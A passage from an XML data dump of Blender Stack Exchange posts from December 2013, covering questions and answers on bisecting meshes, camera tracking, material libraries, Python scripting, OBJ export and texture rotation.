href=&quot;https://blender.stackexchange.com/questions/5320/cutting-a-mesh-in-half/5321#5321&quot;&gt;question&lt;/a&gt;, but i couldn't put into practice, apparently because I'm using a mac and the latest version of Blender, so the commands were not the same... maybe you could help me &quot;translating&quot; those commands.&lt;/p&gt;&#xA;" OwnerUserId="1867" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2013-12-20T00:25:49.820" Title="Can't use Boolean Intersect on two meshes" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5590" PostTypeId="2" ParentId="5589" CreationDate="2013-12-16T21:03:51.753" Score="5" Body="&lt;p&gt;You need a manifold (watertight) mesh for the boolean operation to work. Try replacing the plane with a cube:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lPqYu.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/eZhwM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is the &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Subdividing/Bisect&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bisect&lt;/a&gt;&lt;/em&gt; tool:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In edit mode, press &lt;em&gt;Bisect&lt;/em&gt; in &lt;em&gt;Tool Shelf (&lt;kbd&gt;N&lt;/kbd&gt;) &gt; Add&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ka71V.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then draw the bisection line with &lt;kbd&gt;LMB&lt;/kbd&gt; and drag:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WDiYR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Clear inner&lt;/em&gt; or &lt;em&gt;Clear outer&lt;/em&gt; (in the &lt;em&gt;Redo menu&lt;/em&gt; at the bottom of the &lt;em&gt;Tool shelf&lt;/em&gt;, or the &lt;kbd&gt;F6&lt;/kbd&gt; menu) to remove one side of the mesh as defined by the bisection line (also enable &lt;em&gt;Fill&lt;/em&gt; to fill the hole):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4kPsa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you want to keep both sides of the bisect cut as separate objects, you could try either of the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Manually separating the bisected parts of the model:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Bisect the mesh without enabling &lt;em&gt;Fill&lt;/em&gt; or either &lt;em&gt;Clear&lt;/em&gt; option, so it only makes a cut down the bisection line (the same as if you had used the &lt;em&gt;knife&lt;/em&gt; tool):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6jjsz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select one side of the mesh with &lt;em&gt;Select Loop Inner-Region&lt;/em&gt; in &lt;em&gt;3D view &gt; Header &gt; Select &gt; Select Loop Inner-Region&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/29pkZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;P&lt;/kbd&gt;&lt;em&gt;Separate &gt; Selection&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HY9dI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This will give you two objects, one for each side of the bisect operation.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;To fill in the hole, you could select the edge loop on the very edge with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt; and fill (&lt;kbd&gt;F&lt;/kbd&gt;), however if the bisect line goes across any interfering geometry this will not work. (This might also be too limited for meshes that have an internal structure)&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Or you could duplicate the mesh and run two bisect operations, one on each.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Bisect one mesh and enable &lt;em&gt;Fill&lt;/em&gt; and &lt;em&gt;Clear Inner&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pull down the &lt;em&gt;info window&lt;/em&gt; and scroll to the bottom. You should see a line which begins like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; bpy.ops.mesh.bisect(&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select it with &lt;kbd&gt;RMB&lt;/kbd&gt; and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; to copy it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JFBYW.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select your duplicate mesh and enter edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Split a new area, set the editor type to &lt;em&gt;Python Console&lt;/em&gt; and paste the selected line. Note that you may need to add &lt;code&gt;use_fill=True,&lt;/code&gt; and &lt;code&gt;clear_outer=True,&lt;/code&gt; in between the parenthesis &lt;code&gt;()&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Enter&lt;/kbd&gt;. The mesh should be automatically bisected identically, except the opposite side is cleared.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that you can also set the exact coordinates from the UI:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/44iFF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you wanted to manually copy each value from one operation to the other, that would be another way.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-12-20T00:25:49.820" LastActivityDate="2013-12-20T00:25:49.820" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5591" PostTypeId="1" CreationDate="2013-12-16T21:07:42.823" Score="7" ViewCount="1018" Body="&lt;p&gt;Does Blender solve the camera only for markers which are able to track the entire scene?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have a complicated shot with a huge camera movement. The camera moves forward, leaving some markers behind causing some of them to fail by the end of the shot.&lt;br&gt;&#xA;However, they give nice information about the camera in the first part of shot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does blender solve camera for them? Or only for markers which &quot;survive&quot; in the scene from the beginning to the end?&lt;/p&gt;&#xA;" OwnerUserId="1866" LastEditorUserId="599" LastEditDate="2013-12-16T21:33:28.213" LastActivityDate="2015-09-24T06:41:01.640" Title="Do failed tracking markers still contribute to the solution?" Tags="&lt;tracking&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5592" PostTypeId="2" ParentId="2256" CreationDate="2013-12-16T21:47:47.057" Score="5" Body="&lt;p&gt;I realize I'm a few months late but there are actually several ways to control a mesh deforming armature from within BGE without rewriting the source code. Here's probably the simplest method:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create an anchor object such as a cube. The size, shape, and location are&#xA;unimportant.&lt;/li&gt;&#xA;&lt;li&gt;In pose mode, select the armature you want to use and add the bone&#xA;constraint &quot;copy rotation&quot;, then choose your anchor for the target.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The rest should be pretty self explanatory. As you rotate the anchor (using python or logic bricks) the armature mimics it and deforms the vertex group it's assigned to. If you're using this with something complex, like a humanoid model, then you'll probably want to use a script. If you're uncertain how to do this a good example is the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Game_Engine/BRIK_ragdolls&quot;&gt;&quot;brik&quot; ragdoll plugin&lt;/a&gt;. The source for brik will show you how to easily search for bones in any armature and automatically create, name and assign anchors in just a few lines of code. &lt;/p&gt;&#xA;" OwnerUserId="1868" LastEditorUserId="29" LastEditDate="2013-12-16T22:20:03.137" LastActivityDate="2013-12-16T22:20:03.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5593" PostTypeId="1" CreationDate="2013-12-16T22:05:02.993" Score="40" ViewCount="157067" Body="&lt;p&gt;I'm wondering if there's any addons or online libraries of materials I can download. I've found one called &lt;a href=&quot;https://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Material/Online_Material_Library&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;online_mat_lib&lt;/code&gt;&lt;/a&gt;, but then discovered it was from 2008 and thought by now something like that might already be integrated into Blender.&lt;/p&gt;&#xA;" OwnerUserId="1870" LastEditorUserId="15795" LastEditDate="2017-04-24T18:40:22.663" LastActivityDate="2019-04-16T14:43:05.593" Title="Any good free materials libraries online?" Tags="&lt;materials&gt;" AnswerCount="8" CommentCount="4" FavoriteCount="29" ClosedDate="2019-08-15T01:31:52.393" CommunityOwnedDate="2013-12-16T22:05:59.983" ContentLicense="CC BY-SA 3.0" />
  <row Id="5594" PostTypeId="2" ParentId="5593" CreationDate="2013-12-16T22:24:31.090" Score="16" Body="&lt;p&gt;Some resources:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;600+ Materials at &lt;a href=&quot;http://matrep.parastudios.de/&quot;&gt;Open Material Repository&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Temporary offline (&lt;a href=&quot;http://www.blender-materials.org/&quot;&gt;http://www.blender-materials.org/&lt;/a&gt;) backed up by the above.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For textures &lt;a href=&quot;http://www.cgtextures.com/&quot;&gt;cgtexures&lt;/a&gt; is a good resource.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-12-16T22:24:31.090" CommentCount="4" CommunityOwnedDate="2013-12-16T22:24:31.090" ContentLicense="CC BY-SA 3.0" />
  <row Id="5595" PostTypeId="2" ParentId="5593" CreationDate="2013-12-16T22:49:01.623" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://www.blendswap.com&quot; rel=&quot;nofollow&quot;&gt;Blendswap.com&lt;/a&gt; also has user submitted material setups and you can request custom ones as well.&lt;/p&gt;&#xA;" OwnerUserId="1057" LastEditorUserId="12" LastEditDate="2013-12-16T23:43:52.427" LastActivityDate="2013-12-16T23:43:52.427" CommentCount="0" CommunityOwnedDate="2013-12-16T22:49:01.623" ContentLicense="CC BY-SA 3.0" />
  <row Id="5596" PostTypeId="1" CreationDate="2013-12-16T23:01:55.083" Score="9" ViewCount="13462" Body="&lt;p&gt;How can it help aid animation? I'm learning Blender and want to know what reasons there are for using Python. I've seen some videos on YouTube of people using it.&lt;/p&gt;&#xA;" OwnerUserId="1871" LastEditorUserId="55" LastEditDate="2013-12-17T10:58:57.200" LastActivityDate="2018-12-12T07:10:28.010" Title="Advantages of using Python in Blender for Animation?" Tags="&lt;python&gt;&lt;animation&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="2" CommunityOwnedDate="2013-12-16T23:21:05.260" ContentLicense="CC BY-SA 3.0" />
  <row Id="5597" PostTypeId="2" ParentId="5596" CreationDate="2013-12-16T23:03:53.610" Score="10" Body="&lt;p&gt;Python is useful in three ways:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Scripting and addons&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Drivers&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;em&gt;Game Engine&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Scripting and addons:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Python allows you to automate actions with blenders existing tools to speed up workflow and add functionality that would be (practically speaking) impossible to do manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some nice examples of what can be done with python addons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=XSPwM8Yv6YE&quot;&gt;Molecular simulation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Drivers:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Basics/Drivers&quot;&gt;&lt;em&gt;Drivers&lt;/em&gt;&lt;/a&gt; can be used to set properties from other properties, e.g. a python function, the location of an object, or another setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be very useful for animation, among other things/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Basics/Drivers&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Drivers can use properties, numbers, transformations, and scripts, to control the values of properties. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here are some nice examples of what can be done with drivers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=jWa9MAmhdCU&quot;&gt;Dynamic frosting&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://vimeo.com/40389198&quot;&gt;Randomly tweaking settings&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Game Engine:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Python can be used in the game engine to control the behavior of objects (e.g. AI), the way the view looks (e.g. custom shaders), and interactions with the user (e.g. menus).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some nice examples of the BGE in action:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=HfyxBEOuczc&quot;&gt;Building demo&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=nv89chmj6b4&quot;&gt;Water shader&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=WdDdCLCLJWE&quot;&gt;Racing game&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-12-16T23:24:26.097" LastActivityDate="2013-12-16T23:24:26.097" CommentCount="0" CommunityOwnedDate="2013-12-16T23:21:05.260" ContentLicense="CC BY-SA 3.0" />
  <row Id="5598" PostTypeId="2" ParentId="5596" CreationDate="2013-12-16T23:11:40.097" Score="3" Body="&lt;p&gt;You can use python for automating recurring tasks which would boring or too time consuming. In short for automation like: &lt;a href=&quot;https://blender.stackexchange.com/questions/5358/mapping-an-algorithm-to-an-animation/5415#5415&quot;&gt;Mapping an algorithm to an animation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or to add new functions like the ones you know from the add-ons: to grow trees (sapling), create landscapes, create full rigs (rigify) and much more.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2013-12-17T14:42:22.477" CommentCount="0" CommunityOwnedDate="2013-12-16T23:21:05.260" ContentLicense="CC BY-SA 3.0" />
  <row Id="5599" PostTypeId="1" CreationDate="2013-12-16T23:26:57.210" Score="3" ViewCount="377" Body="&lt;p&gt;I have my &lt;code&gt;.blend&lt;/code&gt; file synchronized to the cloud, but the &lt;code&gt;cache_fluid&lt;/code&gt; folder is getting very big, and I don't need it in the synchronized folder. Is there a way to move the folder somewhere else and get Blender to use it, without creating a new &lt;code&gt;cache_fluid&lt;/code&gt; folder, in its new location?&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="1253" LastEditDate="2013-12-17T06:55:15.217" LastActivityDate="2013-12-17T06:55:15.217" Title="Move cache_fluid folder" Tags="&lt;blend-files&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5600" PostTypeId="2" ParentId="5599" CreationDate="2013-12-16T23:30:13.063" Score="1" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;. You can change the path in &lt;em&gt;Physics &gt; Fluid&lt;/em&gt; with the domain object selected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E1vL9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-12-16T23:30:13.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5601" PostTypeId="2" ParentId="5596" CreationDate="2013-12-16T23:44:58.230" Score="3" Body="&lt;p&gt;While the other answers are good, one of the most common uses for scripting in any animation package is writing scripted rigs. Scripting a rig often makes the rig a great deal more flexible, reusable, and easier to edit. E.g. adding a bone to an IK chain becomes really easy when you can rebuild the entire rig from scratch by just executing a single command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other uses &lt;a href=&quot;http://www.blendernation.com/2013/11/29/scientific-muscle-and-skin-simulation/&quot; rel=&quot;nofollow&quot;&gt;like this muscle sim&lt;/a&gt;, which are covered by &quot;adding functionality,&quot; from the other answers.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2013-12-16T23:44:58.230" CommentCount="0" CommunityOwnedDate="2013-12-16T23:44:58.230" ContentLicense="CC BY-SA 3.0" />
  <row Id="5602" PostTypeId="1" CreationDate="2013-12-16T23:22:13.780" Score="1" ViewCount="743" Body="&lt;p&gt;I downloaded wavefront obj model from this site &lt;a href=&quot;http://tf3dm.com/3d-model/edward-kenway-23504.html&quot; rel=&quot;nofollow&quot;&gt;http://tf3dm.com/3d-model/edward-kenway-23504.html&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The model I downloaded (According to this wikipedia article: &lt;a href=&quot;http://en.wikipedia.org/wiki/Wavefront_.obj_file&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Wavefront_.obj_file&lt;/a&gt;) has &quot;Vertex/texture-coordinate/normal&quot; face definitions. I use blender v2.66 to import and export the model. The problem is when I export the model its face definitions are different. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before import/export:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;usemtl EdwardKenwayHead&#xA;s 1&#xA;f 15420/12835/15421 15421/12836/15422 15422/12837/15423&#xA;f 15422/12837/15423 15423/12838/15424 15420/12835/15421&#xA;f 15419/12839/15425 15420/12835/15421 15423/12838/15424&#xA;f 15423/12838/15424 15422/12837/15423 15424/12840/15426&#xA;f 15424/12840/15426 15425/12841/15427 15423/12838/15424&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After import/export:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;usemtl EdwardKenwayHead&#xA;s 1&#xA;f 1/1 2/2 3/3&#xA;f 4/4 1/1 3/3&#xA;f 5/5 1/1 4/4&#xA;f 4/4 3/3 6/6&#xA;f 6/6 7/7 4/4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any way to export wavefronts with &quot;Vertex/texture-coordinate/normal&quot; face definitions in Blender? (v2.66) I already have C++ &amp;amp; OpenGL loader models with these faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way. Before export the model's size is 2.8KB and after export it is 1.8KB - good optimalization!&lt;/p&gt;&#xA;" OwnerUserId="1872" OwnerDisplayName="John Doe" LastEditorUserId="1165" LastEditDate="2014-01-17T07:39:37.150" LastActivityDate="2014-09-14T11:35:21.353" Title="Wavefront export with [Vertex/texture-coordinate/normal] face definitions" Tags="&lt;export&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5603" PostTypeId="2" ParentId="5602" CreationDate="2013-12-17T01:14:31.023" Score="1" Body="&lt;p&gt;There are several objects included in the one file, all vertices listed are numbered in the order they exist in the file, each object then uses a range of these vertices for it's faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will find that the objects and it's related items in your exported file will be in a different order than the original, therefore each object uses a different range of vertices. You should find that the total number of vertex lines, face lines etc. should all match up, just that each object is using different numbers.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-12-17T01:14:31.023" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5604" PostTypeId="2" ParentId="5448" CreationDate="2013-12-17T01:52:35.307" Score="2" Body="&lt;p&gt;If your addon draws using opengl (via the &lt;code&gt;bgl&lt;/code&gt; module) you can draw your own images directly, however this is &lt;em&gt;not&lt;/em&gt; accessible while drawing typical buttons &amp;amp; layouts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can however do this from: (&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.types.Space.html?highlight=draw_handler_add#bpy.types.Space.draw_handler_add&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.types.Space.html?highlight=draw_handler_add#bpy.types.Space.draw_handler_add&lt;/a&gt;) unfortunatly using these callbacks is currently undocumented but you can see examples in scripts distributed with blender.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-12-17T03:53:41.400" LastActivityDate="2013-12-17T03:53:41.400" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5605" PostTypeId="2" ParentId="5591" CreationDate="2013-12-17T02:05:57.033" Score="2" Body="&lt;p&gt;It doesn't ignore them, they're still used for reconstruction like any other marker. Note however that there has to be a minimum of 8 (IIRC) markers that must be tracked through the entire shot.&lt;/p&gt;&#xA;" OwnerUserId="1194" LastActivityDate="2013-12-17T02:05:57.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5606" PostTypeId="2" ParentId="5591" CreationDate="2013-12-17T02:11:00.780" Score="8" Body="&lt;p&gt;All available markers are used when creating a camera tracking solution. Markers that have moved off screen can be cleared of bad tracking data to help improve the solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By going to the last good frame and selecting the marker you can use Clean After or go to the first good frame and press Clear Before, you remove the tracking data that is contributing to a bad solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1MFOD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://vimeo.com/79032879&quot; rel=&quot;nofollow noreferrer&quot;&gt;This short demo&lt;/a&gt; by Sebastion Konig shows how to use the tracking curves to find bad markers.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-12-17T02:11:00.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5608" PostTypeId="1" AcceptedAnswerId="5610" CreationDate="2013-12-17T06:04:47.693" Score="21" ViewCount="70450" Body="&lt;p&gt;I have created this sign, but when I added the red texture to the face, the texture turned out sideways. Is there a way to rotate it? The original image is the right way up.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ubdCr.png&quot; alt=&quot;Rotated stop sign&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the texture settings there doesn't seem to be a rotation value.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/npWtB.png&quot; alt=&quot;Texture settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="1253" LastEditDate="2013-12-17T07:27:28.623" LastActivityDate="2015-10-22T09:33:15.493" Title="Rotate object texture" Tags="&lt;texturing&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5609" PostTypeId="2" ParentId="5608" CreationDate="2013-12-17T06:32:28.313" Score="15" Body="&lt;p&gt;You need to UV unwrap it:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enter edit mode and select all (&lt;kbd&gt;A&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Unwrap the mesh. For that flat plane the best way is probably aligning your view to the face of the sign (&lt;kbd&gt;shift&lt;/kbd&gt;&lt;kbd&gt;Numpad 7&lt;/kbd&gt; with the face selected) and pressing &lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&amp;gt; Project from view&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then select the UV coordinates in &lt;em&gt;Texture &amp;gt; Mapping&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zSo0L.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;You should be able to rotate the UV map in the &lt;em&gt;UV image editor&lt;/em&gt; with &lt;kbd&gt;R&lt;/kbd&gt; to adjust the rotation.&lt;/p&gt;&#xA;&lt;p&gt;See the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Mapping/UV/Unwrapping&quot; rel=&quot;noreferrer&quot;&gt;wiki&lt;/a&gt; for more information.&lt;/p&gt;&#xA;&lt;h1&gt;Cycles:&lt;/h1&gt;&#xA;&lt;p&gt;Note that in cycles it's possible to rotate the texture without UV unwrapping via the &lt;em&gt;Mapping node&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RqxOh.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-12-17T07:16:54.080" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5610" PostTypeId="2" ParentId="5608" CreationDate="2013-12-17T07:22:58.620" Score="16" Body="&lt;p&gt;The way of doing it with simple (non-UV) texture mapping, is to tweak the mapping coordinate and scale. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tKELC.png&quot; alt=&quot;1a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Switching X and Y axis, and scaling X by -1 will rotate the texture 90 degrees clockwise.&lt;/li&gt;&#xA;&lt;li&gt;Switching X and Y axis, and scaling Y by -1 will rotate the texture 90 degrees counter-clockwise.&lt;/li&gt;&#xA;&lt;li&gt;Scaling X and Y by -1 will flip the image vertically.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But you see that it's quite limiting, less intuitive and flexible than UV-map based rotation, described in gandalf3's answer.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-12-17T07:22:58.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
